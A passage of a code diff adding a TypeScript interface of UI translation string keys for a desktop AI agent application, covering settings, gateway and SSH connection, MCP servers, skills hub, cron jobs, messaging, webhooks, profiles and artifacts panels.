+    searchTitle: string
+    swapSidebarSides: string
+    hideRightSidebar: string
+    showRightSidebar: string
+    muteHaptics: string
+    unmuteHaptics: string
+    openSettings: string
+    openStarmap: string
+    openKeybinds: string
+    layoutEditor: string
+    layoutEditorTitle: string
+  }
+
+  keybinds: {
+    title: string
+    subtitle: (open: string) => string
+    search: string
+    rebind: string
+    reset: string
+    resetAll: string
+    pressKey: string
+    set: string
+    conflictWith: (label: string) => string
+    categories: Record<string, string>
+    actions: Record<string, string>
+  }
+
+  // Find-in-page bar (⌘F). `close` reuses common.close.
+  findInPage: {
+    next: string
+    previous: string
+  }
+
+  language: {
+    label: string
+    description: string
+    saving: string
+    saveError: string
+    switchTo: string
+    searchPlaceholder: string
+    noResults: string
+  }
+
+  settings: {
+    closeSettings: string
+    exportConfig: string
+    importConfig: string
+    resetToDefaults: string
+    resetConfirm: string
+    exportFailed: string
+    resetFailed: string
+    nav: {
+      providers: string
+      providerAccounts: string
+      providerApiKeys: string
+      providerCustomEndpoints: string
+      gateway: string
+      apiKeys: string
+      keybinds: string
+      keysTools: string
+      keysSettings: string
+      mcp: string
+      archivedChats: string
+      about: string
+      billing: string
+      notifications: string
+      plugins: string
+    }
+    plugins: {
+      title: string
+      blurb: string
+      count: (n: number) => string
+      openFolder: string
+      rescan: string
+      reveal: string
+      enable: string
+      disable: string
+      failed: string
+      empty: string
+      kinds: { bundled: string; disk: string; runtime: string }
+    }
+    notifications: {
+      title: string
+      intro: string
+      enableAll: string
+      enableAllDesc: string
+      focusedHint: string
+      kinds: Record<
+        'approval' | 'backgroundDone' | 'credits' | 'input' | 'plugin' | 'turnDone' | 'turnError',
+        { label: string; description: string }
+      >
+      test: string
+      testTitle: string
+      testBody: string
+      testSent: string
+      testUnsupported: string
+      completionSoundTitle: string
+      completionSoundDesc: string
+      completionSoundPreview: string
+    }
+    sections: Record<string, string>
+    searchPlaceholder: Record<'about' | 'config' | 'gateway' | 'keys' | 'mcp' | 'sessions', string>
+    modeOptions: Record<'light' | 'dark' | 'system', ModeOptionCopy>
+    appearance: {
+      title: string
+      intro: string
+      colorMode: string
+      colorModeDesc: string
+      toolViewTitle: string
+      toolViewDesc: string
+      uiScaleTitle: string
+      uiScaleDesc: (percent: number) => string
+      terminalFontTitle: string
+      terminalFontDesc: string
+      terminalFontPlaceholder: string
+      terminalFontPreview: string
+      terminalFontReset: string
+      translucencyTitle: string
+      translucencyDesc: string
+      backdropTitle: string
+      backdropDesc: string
+      reactionsTitle: string
+      reactionsDesc: string
+      embedsTitle: string
+      embedsDesc: string
+      embedsAsk: string
+      embedsAlways: string
+      embedsOff: string
+      embedsReset: (count: number) => string
+      product: string
+      productDesc: string
+      technical: string
+      technicalDesc: string
+      themeTitle: string
+      themeDesc: string
+      themeProfileNote: (profile: string) => string
+      installTitle: string
+      installDesc: string
+      installPlaceholder: string
+      installButton: string
+      installing: string
+      installError: string
+      installed: (name: string) => string
+      removeTheme: string
+      importedBadge: string
+      pet: {
+        title: string
+        intro: string
+        restartHint: string
+        on: string
+        off: string
+        scaleTitle: string
+        scaleDesc: string
+        roamTitle: string
+        roamDesc: string
+        chooseTitle: string
+        chooseDesc: string
+        searchPlaceholder: string
+        unreachable: string
+        noMatch: (query: string) => string
+        installedTag: string
+        generatedTag: string
+        countCapped: (cap: number, total: number) => string
+        count: (n: number) => string
+        uninstall: (name: string) => string
+        delete: (name: string) => string
+        deleteTitle: (name: string) => string
+        deleteBody: string
+        deleteConfirm: string
+        rename: (name: string) => string
+        renameTitle: string
+        renamePlaceholder: string
+        renameSave: string
+        exportPet: (name: string) => string
+        adoptFailed: (slug: string) => string
+        uninstallFailed: (slug: string) => string
+        renameFailed: (slug: string) => string
+        exportFailed: (slug: string) => string
+        noneAvailable: string
+        turnOnFailed: string
+        turnOffFailed: string
+      }
+    }
+    fieldLabels: Record<string, string>
+    fieldDescriptions: Record<string, string>
+    about: {
+      heading: string
+      version: (value: string) => string
+      versionUnavailable: string
+      updates: string
+      checkNow: string
+      checking: string
+      seeWhatsNew: string
+      updateNow: string
+      releaseNotes: string
+      onLatest: string
+      installing: string
+      cantUpdate: string
+      cantReach: string
+      tapCheck: string
+      updateReady: (count: number) => string
+      lastChecked: (age: string) => string
+      justNowSuffix: string
+      automaticUpdates: string
+      automaticUpdatesDesc: string
+      branchCommit: (branch: string, commit: string) => string
+      never: string
+      justNow: string
+      minAgo: (count: number) => string
+      hoursAgo: (count: number) => string
+      daysAgo: (count: number) => string
+    }
+    config: {
+      none: string
+      noneParen: string
+      builtinOnly: string
+      notSet: string
+      commaSeparated: string
+      searchPlaceholder: string
+      noResults: string
+      systemDefault: string
+      loading: string
+      emptyTitle: string
+      emptyDesc: string
+      failedLoad: string
+      autosaveFailed: string
+      imported: string
+      invalidJson: string
+      keepAwakeTitle: string
+      keepAwakeDesc: string
+      attachmentSizeTitle: string
+      attachmentSizeDesc: string
+      attachmentSizeUnit: string
+      attachmentSizeLabel: string
+    }
+    quickEntry: {
+      enabledTitle: string
+      enabledDesc: string
+      shortcutTitle: string
+      shortcutDesc: string
+      active: string
+      takenBy: string
+      invalidShortcut: string
+    }
+    credentials: {
+      pasteKey: string
+      pasteLabelKey: (label: string) => string
+      optional: string
+      enterValueFirst: string
+      couldNotSave: string
+      remove: string
+      getKey: string
+      saving: string
+    }
+    envActions: {
+      actions: string
+      manageInKeys: string
+      docs: string
+      hideValue: string
+      revealValue: string
+      replace: string
+      set: string
+      clear: string
+    }
+    gateway: {
+      loading: string
+      unavailableTitle: string
+      unavailableDesc: string
+      title: string
+      envOverride: string
+      intro: string
+      appliesTo: string
+      allProfiles: string
+      defaultConnection: string
+      profileConnection: (profile: string) => string
+      envOverrideTitle: string
+      envOverrideDesc: string
+      modeTitle: string
+      localTitle: string
+      localDesc: string
+      inheritTitle: string
+      inheritDesc: string
+      remoteTitle: string
+      remoteDesc: string
+      remoteAuthHint: string
+      cloudTitle: string
+      cloudDesc: string
+      cloudSignInTitle: string
+      cloudSignIn: string
+      cloudSignedIn: string
+      cloudNeedsSignIn: string
+      cloudSignedInDesc: string
+      cloudAgentsTitle: string
+      cloudOrgPickerTitle: string
+      cloudOrgSelect: string
+      cloudOrgChange: string
+      cloudOrgRole: (role: string) => string
+      cloudLoadingAgents: string
+      cloudNoAgents: { before: string; linkText: string; after: string }
+      cloudRefresh: string
+      cloudConnect: string
+      cloudConnecting: string
+      cloudDiscoverFailed: string
+      cloudConnectFailed: string
+      cloudSignInFailed: string
+      cloudSignedOutTitle: string
+      cloudSignedOutMessage: string
+      cloudConnectedTitle: string
+      cloudConnectedPill: string
+      cloudConnectedTo: (name: string) => string
+      cloudAgentProvisioning: string
+      cloudStatusLabel: (status: string) => string
+      remoteUrlTitle: string
+      remoteUrlDesc: string
+      probing: string
+      probeError: string
+      signedIn: string
+      signIn: string
+      signOut: string
+      signInWith: (provider: string) => string
+      authTitle: string
+      authSignedInPassword: string
+      authSignedInOauth: string
+      authNeedsPassword: string
+      authNeedsOauth: (provider: string) => string
+      tokenTitle: string
+      tokenDesc: string
+      existingToken: (value: string) => string
+      savedToken: string
+      pasteSessionToken: string
+      testRemote: string
+      saveForRestart: string
+      saveAndReconnect: string
+      diagnostics: string
+      diagnosticsDesc: string
+      openLogs: string
+      incompleteTitle: string
+      incompleteSignIn: string
+      incompleteToken: string
+      incompleteSignInTest: string
+      incompleteTokenTest: string
+      enterUrlFirst: string
+      restartingTitle: string
+      savedTitle: string
+      restartingMessage: string
+      savedMessage: string
+      connectedTo: (baseUrl: string, version?: string) => string
+      reachableTitle: string
+      signedOutTitle: string
+      signedOutMessage: string
+      failedLoad: string
+      signInFailed: string
+      signOutFailed: string
+      testFailed: string
+      applyFailed: string
+      saveFailed: string
+      sshTitle: string
+      sshDesc: string
+      sshTrustHint: string
+      sshHostTitle: string
+      sshHostDesc: string
+      sshHostPick: string
+      sshHostPickTitle: string
+      sshHostPickDesc: string
+      sshHostCustom: string
+      sshUserTitle: string
+      sshUserDesc: string
+      sshUserPlaceholder: string
+      sshPortTitle: string
+      sshPortDesc: string
+      sshKeyTitle: string
+      sshKeyDesc: string
+      sshClawCodexPathTitle: string
+      sshClawCodexPathDesc: string
+      sshClawCodexPathPlaceholder: string
+      sshRemoteProfileTitle: string
+      sshRemoteProfileDesc: string
+      sshTestConnection: string
+      sshConnect: string
+      sshButtonsHint: string
+      sshReachable: (host: string, platform: string) => string
+      sshIncompleteHost: string
+      sshErrUnreachable: string
+      sshErrAuth: string
+      sshErrHostKey: string
+      sshErrNotInstalled: string
+      sshErrPlatform: string
+      sshErrTimeout: string
+      sshErrUpdateRequired: string
+      sshErrUnknown: string
+    }
+    keys: {
+      loading: string
+      failedLoad: string
+      empty: string
+    }
+    mcp: {
+      loading: string
+      failedLoad: string
+      nameRequiredTitle: string
+      nameRequiredMessage: string
+      objectRequired: string
+      invalidJson: string
+      saveFailed: string
+      removeFailed: string
+      gatewayUnavailableTitle: string
+      gatewayUnavailableMessage: string
+      reloadedTitle: string
+      reloadedMessage: string
+      reloadFailed: string
+      savedTitle: string
+      savedMessage: (name: string) => string
+      newServer: string
+      reload: string
+      reloading: string
+      emptyTitle: string
+      emptyDesc: string
+      disabled: string
+      editServer: string
+      name: string
+      serverJson: string
+      remove: string
+      saveServer: string
+      test: string
+      testing: string
+      testOk: (count: number) => string
+      testFailed: string
+      enableServer: (name: string) => string
+      disableServer: (name: string) => string
+      serverEnabled: (name: string) => string
+      serverDisabled: (name: string) => string
+      toggleFailed: (name: string, enabled: boolean) => string
+      tabServers: string
+      tabCatalog: string
+      catalogLoading: string
+      catalogLoadFailed: string
+      catalogEmpty: string
+      catalogInstalled: string
+      catalogEnabled: string
+      catalogNeedsInstall: string
+      catalogInstall: string
+      catalogInstalling: string
+      catalogInstallStarted: (name: string) => string
+      catalogInstallFailed: (name: string) => string
+      catalogEnvPrompt: (name: string) => string
+      catalogEnvRequired: string
+      capabilitySummary: (tools: number, prompts: number, resources: number) => string
+      statusConnecting: string
+      statusNeedsAuth: string
+      statusError: string
+      statusOff: string
+      allServers: string
+      authenticatedTitle: string
+      authenticatedMessage: (server: string, count: number) => string
+      waitingForBrowser: string
+      authenticate: string
+      unsavedConnect: string
+      enableTool: (tool: string) => string
+      disableTool: (tool: string) => string
+      noOutput: string
+    }
+    model: {
+      loading: string
+      appliesDesc: string
+      provider: string
+      model: string
+      applying: string
+      defaultsLabel: string
+      reasoning: string
+      reasoningOff: string
+      defaultsFailed: string
+      auxiliaryTitle: string
+      resetAllToMain: string
+      auxiliaryDesc: string
+      setToMain: string
+      change: string
+      autoUseMain: string
+      providerDefault: string
+      fallbackAdd: string
+      fallbackEmpty: string
+      notInCatalog: string
+      tasks: Record<string, AuxTaskCopy>
+    }
+    providers: {
+      connectAccount: string
+      haveApiKey: string
+      intro: string
+      connected: string
+      collapse: string
+      connectAnother: string
+      otherProviders: string
+      disconnect: string
+      disconnectInTerminal: string
+      removeConfirm: (provider: string) => string
+      removeExternalGeneric: (provider: string) => string
+      removeKeyManaged: (provider: string) => string
+      removeTerminalConfirm: (provider: string, command: string) => string
+      removeTerminalRunning: (provider: string) => string
+      removedTitle: string
+      removedMessage: (provider: string) => string
+      failedRemove: (provider: string) => string
+      noProviderKeys: string
+      searchKeys: string
+      noKeysMatch: string
+      localEndpoint: {
+        title: string
+        description: string
+      }
+      loading: string
+    }
+    sessions: {
+      loading: string
+      archivedTitle: string
+      archivedIntro: string
+      emptyArchivedTitle: string
+      emptyArchivedDesc: string
+      unarchive: string
+      deletePermanently: string
+      messages: (count: number) => string
+      restored: string
+      deleteConfirm: (title: string) => string
+      autoArchiveTitle: string
+      autoArchiveDesc: string
+      autoArchiveDaysLabel: string
+      autoArchiveDaysUnit: string
+      autoArchiveFailed: string
+      defaultDirTitle: string
+      defaultDirDesc: string
+      defaultDirUpdated: string
+      defaultsTo: (label: string) => string
+      change: string
+      choose: string
+      clear: string
+      notSet: string
+      failedLoad: string
+      unarchiveFailed: string
+      deleteFailed: string
+      updateDirFailed: string
+      clearDirFailed: string
+    }
+    toolsets: {
+      loadingConfig: string
+      savedTitle: string
+      savedMessage: (key: string) => string
+      removedTitle: string
+      removedMessage: (key: string) => string
+      failedSave: (key: string) => string
+      failedRemove: (key: string) => string
+      failedReveal: (key: string) => string
+      removeConfirm: (key: string) => string
+      set: string
+      notSet: string
+      selectedTitle: string
+      selectedMessage: (provider: string) => string
+      failedSelect: (provider: string) => string
+      failedLoad: string
+      noProviderOptions: string
+      noProviders: string
+      ready: string
+      needsSignIn: string
+      needsSetup: string
+      activeBackend: string
+      activeBackendHint: string
+      useBackend: string
+      nousIncluded: string
+      nousAuthNeededTitle: string
+      nousAuthNeededMessage: (provider: string) => string
+      nousAuthSignIn: string
+      nousAuthDoneTitle: string
+      nousAuthDoneMessage: string
+      nousAuthFailed: string
+      noApiKeyRequired: string
+      postSetupHint: (step: string) => string
+      postSetupInstalledHint: string
+      postSetupRun: string
+      postSetupRerun: string
+      postSetupInstalled: string
+      postSetupRunning: string
+      postSetupStarting: string
+      postSetupCompleteTitle: string
+      postSetupCompleteMessage: (step: string) => string
+      postSetupErrorTitle: string
+      postSetupErrorMessage: (step: string) => string
+      postSetupFailed: (step: string) => string
+      webSearchActive: (backend: string) => string
+      webExtractActive: (backend: string) => string
+      webCapabilityUnset: string
+      webUseForSearch: string
+      webUseForExtract: string
+      webUsedForSearch: string
+      webUsedForExtract: string
+      webCapabilitySelectedMessage: (provider: string, capability: string) => string
+      failedSelectCapability: (provider: string) => string
+      loadingModels: string
+      modelSectionTitle: string
+      modelCount: (count: number) => string
+      modelInUse: string
+      modelDefault: string
+      modelInactiveHint: string
+      modelSelectedTitle: string
+      modelSelectedMessage: (model: string) => string
+      failedSelectModel: (model: string) => string
+      terminalBackend: {
+        sectionTitle: string
+        loading: string
+        failedLoad: string
+        ready: string
+        needsSetup: string
+        unavailable: string
+        inUse: string
+        selectedTitle: string
+        selectedMessage: (backend: string) => string
+        failedSelect: (backend: string) => string
+        needsSetupHint: string
+      }
+    }
+  }
+
+  skills: {
+    tabSkills: string
+    tabToolsets: string
+    tabMcp: string
+    tabHub: string
+    all: string
+    searchSkills: string
+    searchToolsets: string
+    refresh: string
+    refreshing: string
+    loading: string
+    noSkillsTitle: string
+    noSkillsDesc: string
+    noToolsetsTitle: string
+    noToolsetsDesc: string
+    noDescription: string
+    configured: string
+    needsKeys: string
+    visionModelHint: string
+    visionModelLink: string
+    toolsetsEnabled: (enabled: number, total: number) => string
+    configureToolset: (label: string) => string
+    toggleToolset: (label: string, enabled: boolean) => string
+    skillsLoadFailed: string
+    toolsetsRefreshFailed: string
+    skillEnabled: string
+    skillDisabled: string
+    toolsetEnabled: string
+    toolsetDisabled: string
+    appliesToNewSessions: (name: string) => string
+    failedToUpdate: (name: string) => string
+    sortMostUsed: string
+    sortAlpha: string
+    sortMostUsedDesc: string
+    sortLeastUsedAsc: string
+    enableAll: string
+    disableAll: string
+    disableUnused: string
+    bulkUpdated: (count: number) => string
+    bulkNoChange: string
+    usageCount: (count: number | string) => string
+    provenance: Record<'agent' | 'bundled' | 'hub', string>
+    emptyNoneFound: (noun: string) => string
+    emptyNothingMatches: (query: string) => string
+    emptyNoneAvailable: (noun: string) => string
+    changesApplyNewSessions: string
+    skillUpdated: string
+    edit: string
+    archive: string
+    skillArchivedTitle: string
+    skillArchivedMessage: string
+    hub: {
+      searchPlaceholder: string
+      search: string
+      searching: string
+      connectingHubs: string
+      connectedHubs: string
+      featured: string
+      landingHint: string
+      noResults: string
+      resultCount: (count: number, ms: number | null) => string
+      timedOut: (sources: string) => string
+      installed: string
+      install: string
+      installing: string
+      uninstall: string
+      uninstalling: string
+      updateAll: string
+      updating: string
+      preview: string
+      scan: string
+      scanning: string
+      close: string
+      files: string
+      noReadme: string
+      trust: Record<string, string>
+      verdictSafe: string
+      verdictCaution: string
+      verdictDangerous: string
+      policyAllow: string
+      policyAsk: string
+      policyBlock: string
+      findings: (count: number) => string
+      noFindings: string
+      installStarted: (name: string) => string
+      uninstallStarted: (name: string) => string
+      updateStarted: string
+      actionFailed: string
+      actionLog: string
+      loadFailed: string
+      previewFailed: string
+      scanFailed: string
+      searchFailed: string
+    }
+  }
+
+  starmap: {
+    title: string
+    subtitle: (nodes: number, clusters: number) => string
+    close: string
+    refresh: string
+    memory: string
+    filterAll: string
+    filterUsed: string
+    filterLearned: string
+    viewGraph: string
+    loadFailed: string
+    loading: string
+    emptyTitle: string
+    emptyDesc: string
+    share: string
+    shareHint: string
+    shareTitle: string
+    sharePlaceholder: string
+    copy: string
+    copied: string
+    importMap: string
+    importBtn: string
+    importEmpty: string
+    importSuccess: (nodes: number) => string
+    importedBadge: string
+    resetToMine: string
+  }
+  agents: {
+    close: string
+    title: string
+    subtitle: string
+    emptyTitle: string
+    emptyDesc: string
+    running: string
+    failed: string
+    done: string
+    streaming: string
+    files: string
+    moreFiles: (count: number) => string
+    delegation: (index: number) => string
+    workers: (count: number) => string
+    workersActive: (count: number) => string
+    agentsCount: (count: number) => string
+    activeCount: (count: number) => string
+    failedCount: (count: number) => string
+    toolsCount: (count: number) => string
+    filesCount: (count: number) => string
+    updatedAgo: (age: string) => string
+    ageNow: string
+    ageSeconds: (seconds: number) => string
+    ageMinutes: (minutes: number) => string
+    ageHours: (hours: number) => string
+    ageDays: (days: number) => string
+    durationSeconds: (seconds: string) => string
+    durationMinutes: (minutes: number, seconds: number) => string
+    tokens: (value: number | string) => string
+  }
+
+  commandCenter: {
+    close: string
+    paletteTitle: string
+    back: string
+    searchPlaceholder: string
+    goTo: string
+    goToSession: string
+    branches: string
+    projects: string
+    openFolder: string
+    openFolderAt: (path: string) => string
+    newSessionInProject: (project: string) => string
+    commands: string
+    startInBranch: (branch: string) => string
+    commandCenter: string
+    appearance: string
+    settings: string
+    changeTheme: string
+    changeColorMode: string
+    pets: {
+      title: string
+      placeholder: string
+      loading: string
+      error: string
+      staleBackend: string
+      empty: string
+      turnOff: string
+      turnOn: string
+      installed: string
+      generatedTag: string
+      adoptFailed: string
+      toggleFailed: (enabled: boolean) => string
+      noneAvailable: string
+    }
+    generatePet: {
+      title: string
+      placeholder: string
+      promptHint: string
+      readyHint: string
+      generate: string
+      generating: string
+      retry: string
+      hatch: string
+      spawning: string
+      hatching: string
+      hatchingSub: string
+      hatched: string
+      hatchRow: (state: string, done: number, total: number) => string
+      hatchComposing: string
+      hatchSaving: string
+      namePlaceholder: string
+      staleBackend: string
+      backgroundHint: string
+      slowProviderHint: string
+      remix: string
+      remixConfirmTitle: string
+      remixConfirmBody: string
+      genericError: string
+      referenceImageTooLarge: string
+      referenceImageInvalid: string
+      adopt: string
+      startOver: string
+    }
+    installTheme: {
+      title: string
+      pageTitle: string
+      placeholder: string
+      loading: string
+      error: string
+      empty: string
+      install: string
+      installing: string
+      installed: string
+      installs: (count: string) => string
+    }
+    settingsFields: string
+    mcpServers: string
+    archivedChats: string
+    sections: Record<'maintenance' | 'sessions' | 'system' | 'usage', string>
+    sectionDescriptions: Record<'maintenance' | 'sessions' | 'system' | 'usage', string>
+    nav: Record<'newChat' | 'settings' | 'skills' | 'messaging' | 'artifacts', { title: string; detail: string }>
+    sectionEntries: Record<'sessions' | 'system' | 'usage', { title: string; detail: string }>
+    providerNavigate: string
+    providerSessions: string
+    refresh: string
+    refreshing: string
+    noResults: string
+    pinSession: string
+    unpinSession: string
+    exportSession: string
+    deleteSession: string
+    noSessions: string
+    gatewayRunning: string
+    gatewayStopped: string
+    clawcodexActiveSessions: (version: string, count: number) => string
+    restartGateway: string
+    gatewayRestartFailed: string
+    updateClawCodex: string
+    actionRunning: string
+    actionDone: string
+    actionFailed: string
+    actionStartedWaiting: string
+    loadingStatus: string
+    recentLogs: string
+    noLogs: string
+    days: (count: number) => string
+    statSessions: string
+    statApiCalls: string
+    statTokens: string
+    statCost: string
+    actualCost: (cost: string) => string
+    loadingUsage: string
+    noUsage: (period: number) => string
+    retry: string
+    dailyTokens: string
+    input: string
+    output: string
+    noDailyActivity: string
+    topModels: string
+    noModelUsage: string
+    topSkills: string
+    noSkillActivity: string
+    actions: (count: string) => string
+    logFile: string
+    logLevel: string
+    logSearchPlaceholder: string
+    maintenance: {
+      runOps: string
+      doctor: string
+      doctorDesc: string
+      securityAudit: string
+      securityAuditDesc: string
+      backup: string
+      backupDesc: string
+      debugShare: string
+      debugShareDesc: string
+      debugShareRunning: string
+      debugShareLinks: string
+      debugShareFailed: string
+      copyLink: string
+      linkCopied: string
+      curator: string
+      curatorDesc: string
+      curatorPaused: string
+      curatorActive: string
+      curatorDisabled: string
+      curatorLastRun: (when: string) => string
+      curatorNeverRan: string
+      pause: string
+      resume: string
+      runNow: string
+      memoryData: string
+      memoryDataDesc: string
+      memoryProvider: (name: string) => string
+      builtinMemory: string
+      memoryFile: string
+      userFile: string
+      bytes: (size: string) => string
+      empty: string
+      resetMemory: string
+      resetUser: string
+      resetAll: string
+      resetConfirm: (target: string) => string
+      resetDone: (files: string) => string
+      resetFailed: string
+      actionStarted: (name: string) => string
+      actionFailed: (name: string) => string
+      running: string
+      viewLog: string
+    }
+  }
+
+  messaging: {
+    search: string
+    loading: string
+    loadFailed: string
+    states: Record<string, string>
+    unknown: string
+    hintPendingRestart: string
+    hintGatewayStopped: string
+    credentialsSet: string
+    needsSetup: string
+    gatewayStopped: string
+    getCredentials: string
+    openSetupGuide: string
+    required: string
+    recommended: string
+    advanced: (count: number) => string
+    noTokenNeeded: string
+    enabled: string
+    disabled: string
+    unsavedChanges: string
+    saving: string
+    saveChanges: string
+    saved: string
+    replaceValue: string
+    openDocs: string
+    clearField: (key: string) => string
+    enableAria: (name: string) => string
+    disableAria: (name: string) => string
+    platformEnabled: (name: string) => string
+    platformDisabled: (name: string) => string
+    restartToApply: string
+    setupSaved: (name: string) => string
+    restartToReconnect: string
+    keyCleared: (key: string) => string
+    setupUpdated: (name: string) => string
+    failedUpdate: (name: string) => string
+    failedSave: (name: string) => string
+    failedClear: (key: string) => string
+    pendingRequests: (count: number) => string
+    pendingAria: (count: number) => string
+    approvedUsers: (count: number) => string
+    approve: string
+    approving: string
+    revoke: string
+    revoking: string
+    revokeAria: (name: string) => string
+    revokeTitle: string
+    revokeDesc: (name: string) => string
+    approvedUser: (name: string) => string
+    approvedHint: string
+    revokedUser: (name: string) => string
+    failedApprove: (name: string) => string
+    failedRevoke: (name: string) => string
+    pairingLockedOut: string
+    waitingSince: (minutes: number) => string
+    fieldCopy: Record<string, { label?: string; help?: string; placeholder?: string }>
+    platformIntro: Record<string, string>
+  }
+
+  webhooks: {
+    search: string
+    loading: string
+    loadFailed: string
+    subscriptions: (count: number) => string
+    hint: string
+    empty: string
+    disabledTitle: string
+    disabledBody: string
+    enable: string
+    enabling: string
+    enabled: (name: string) => string
+    disabled: (name: string) => string
+    enableRow: string
+    disableRow: string
+    delete: string
+    deleting: string
+    deleted: string
+    deleteTitle: string
+    deleteDescPrefix: string
+    deleteDescSuffix: string
+    deleteFailed: (name: string) => string
+    toggleFailed: (name: string, enabled: boolean) => string
+    newSubscription: string
+    restarting: string
+    restartNeeded: string
+    restartGateway: string
+    restartingGateway: string
+    restartFailed: (detail: string) => string
+    enabledRestarting: string
+    all: string
+    deliverOnly: string
+    createdTitle: string
+    createdSecretHint: string
+    webhookUrl: string
+    secretOnce: string
+    done: string
+    fieldName: string
+    fieldNamePlaceholder: string
+    fieldDescription: string
+    fieldDescriptionPlaceholder: string
+    fieldEvents: string
+    fieldEventsPlaceholder: string
+    fieldSkills: string
+    fieldSkillsPlaceholder: string
+    fieldDeliver: string
+    fieldDeliverOnly: string
+    fieldPrompt: string
+    fieldPromptPlaceholder: string
+    nameRequired: string
+    create: string
+    creating: string
+    created: string
+    createFailed: (detail: string) => string
+    copy: string
+    deliverOptions: Record<string, string>
+  }
+
+  profiles: {
+    close: string
+    nameHint: string
+    title: string
+    count: (count: number) => string
+    search: string
+    loading: string
+    newProfile: string
+    importProfile: string
+    exportProfile: string
+    imported: string
+    exported: string
+    failedImport: string
+    failedExport: string
+    allProfiles: string
+    showAllProfiles: string
+    switchToProfile: (name: string) => string
+    manageProfiles: string
+    actions: string
+    color: string
+    colorFor: string
+    setColor: (color: string) => string
+    autoColor: string
+    noProfiles: string
+    selectPrompt: string
+    refresh: string
+    refreshing: string
+    default: string
+    skills: (count: number) => string
+    env: string
+    defaultBadge: string
+    rename: string
+    renameMenu: string
+    editSoul: string
+    copySetup: string
+    copying: string
+    modelLabel: string
+    skillsLabel: string
+    notSet: string
+    soulDesc: string
+    soulOptional: string
+    soulPlaceholder: (mode: string) => string
+    soulPlaceholderCloned: string
+    soulPlaceholderEmpty: string
+    unsavedChanges: string
+    loadingSoul: string
+    emptySoul: string
+    saving: string
+    saveSoul: string
+    deleteTitle: string
+    deleteDescPrefix: string
+    deleteDescMid: string
+    deleteDescSuffix: string
+    deleting: string
+    createDesc: string
+    nameLabel: string
+    cloneFrom: string
+    cloneFromNone: string
+    cloneFromDesc: string
+    cloneFromDefault: string
+    cloneFromDefaultDesc: string
+    invalidName: (hint: string) => string
+    nameRequired: string
+    creating: string
+    createAction: string
+    renameTitle: string
+    renameDescPrefix: string
+    renameDescSuffix: string
+    newNameLabel: string
+    renaming: string
+    created: string
+    renamed: string
+    deleted: string
+    setupCopied: string
+    soulSaved: string
+    failedLoad: string
+    failedDelete: string
+    failedCopy: string
+    failedLoadSoul: string
+    failedSaveSoul: string
+    failedCreate: string
+    failedRename: string
+  }
+
+  cron: {
+    close: string
+    title: string
+    count: (count: number) => string
+    search: string
+    loading: string
+    states: Record<string, string>
+    deliveryLabels: Record<string, string>
+    scheduleLabels: Record<string, string>
+    scheduleHints: Record<string, string>
+    days: Record<string, string>
+    dayFallback: (value: string) => string
+    everyDayAt: (time: string) => string
+    weekdaysAt: (time: string) => string
+    everyDayOfWeekAt: (day: string, time: string) => string
+    monthlyOnDayAt: (dayOfMonth: string, time: string) => string
+    topOfHour: string
+    everyHourAt: (minute: string) => string
+    newCron: string
+    emptyDescNew: string
+    emptyDescSearch: string
+    emptyTitleNew: string
+    emptyTitleSearch: string
+    last: string
+    next: string
+    noRuns: string
+    manage: string
+    showRuns: string
+    hideRuns: string
+    runHistory: string
+    actionsTitle: string
+    resume: string
+    pause: string
+    resumeTitle: string
+    pauseTitle: string
+    triggerNow: string
+    edit: string
+    deleteTitle: string
+    deleteDescPrefix: string
+    deleteDescSuffix: string
+    deleting: string
+    resumed: string
+    paused: string
+    triggered: string
+    deleted: string
+    created: string
+    updated: string
+    failedLoad: string
+    failedUpdate: string
+    failedTrigger: string
+    failedDelete: string
+    failedSave: string
+    editTitle: string
+    createTitle: string
+    editDesc: string
+    createDesc: string
+    nameLabel: string
+    namePlaceholder: string
+    promptLabel: string
+    promptPlaceholder: string
+    frequencyLabel: string
+    deliverLabel: string
+    deliverNeedsHomeChannel: string
+    modelLabel: string
+    modelDefault: string
+    customScheduleLabel: string
+    customPlaceholder: string
+    customHint: string
+    optional: string
+    promptRequired: string
+    promptScheduleRequired: string
+    scheduleRequired: string
+    scriptOnlyEditHint: string
+    saveChanges: string
+    createAction: string
+    tabs: {
+      jobs: string
+      blueprints: string
+    }
+    blueprints: {
+      tab: string
+      startFrom: string
+      custom: string
+      subtitle: string
+      dialogDesc: string
+      scheduleIt: string
+      scheduling: string
+      scheduled: string
+      loading: string
+      failedLoad: string
+      emptyTitle: string
+      emptyDesc: string
+    }
+  }
+
+  artifacts: {
+    search: string
+    refresh: string
+    refreshing: string
+    indexing: string
+    tabAll: string
+    tabImages: string
+    tabFiles: string
+    tabLinks: string
+    noArtifactsTitle: string
+    noArtifactsDesc: string
+    failedLoad: string
+    openFailed: string
+    itemsImage: string
+    itemsLink: string
+    itemsFile: string
+    itemsGeneric: string
+    zero: string
+    rangeOf: (start: number, end: number, total: number) => string
+    goToPage: (itemLabel: string, page: number) => string
+    colTitleLink: string
+    colTitleFile: string
+    colTitleDefault: string
+    colLocationLink: string
+    colLocationFile: string
+    colLocationDefault: string
+    colSession: string
+    kindImage: string
+    kindFile: string
+    kindLink: string
+    chat: string
+    copyUrl: string
+    copyPath: string
+  }
+
+  artifactCard: {
+    kind: Record<'code' | 'html' | 'svg', string>
+    generating: (lines: number) => string
+    versionBadge: (count: number) => string
+    open: string
+  }
+
+  artifactPreview: {
+    versionOf: (current: number, total: number) => string
+    olderVersion: string
+    newerVersion: string
+    latest: string
+    copyContent: string
+    download: string
+    openInBrowser: string
+    openInBrowserFailed: string
+    missingTitle: string
+    missingBody: string
+  }
+
+  sidebar: {
+    nav: Record<string, string>
+    searchAria: string
+    searchPlaceholder: string
+    clearSearch: string
+    noMatch: (query: string) => string
+    results: string
+    pinned: string
+    sessions: string
+    cronJobs: string
+    groupAriaGrouped: string
+    groupAriaUngrouped: string
+    showProjects: string
+    showSessions: string
+    groupTitleGrouped: string
+    groupTitleUngrouped: string
+    allPinned: string
+    shiftClickHint: string
+    noWorkspace: string
+    projectEmpty: string
+    noSessions: string
+    projects: {
+      sectionLabel: string
+      home: string
+      newButton: string
+      createTitle: string
+      createDesc: string
+      renameTitle: string
+      addFolderTitle: string
+      namePlaceholder: string
+      foldersLabel: string
+      ideaLabel: string
+      ideaPlaceholder: string
+      ideaGenerate: string
+      ideaGenerating: string
+      ideaShuffle: string
+      noFolders: string
+      addFolder: string
+      primaryBadge: string
+      removeFolder: string
+      create: string
+      menu: string
+      menuRename: string
+      menuAppearance: string
+      noColor: string
+      menuAddFolder: string
+      menuSetActive: string
+      menuDelete: string
+      moveToProject: string
+      movedTo: (name: string) => string
+      moveFailed: string
+      moveNoFolder: string
+      moveNoProjects: string
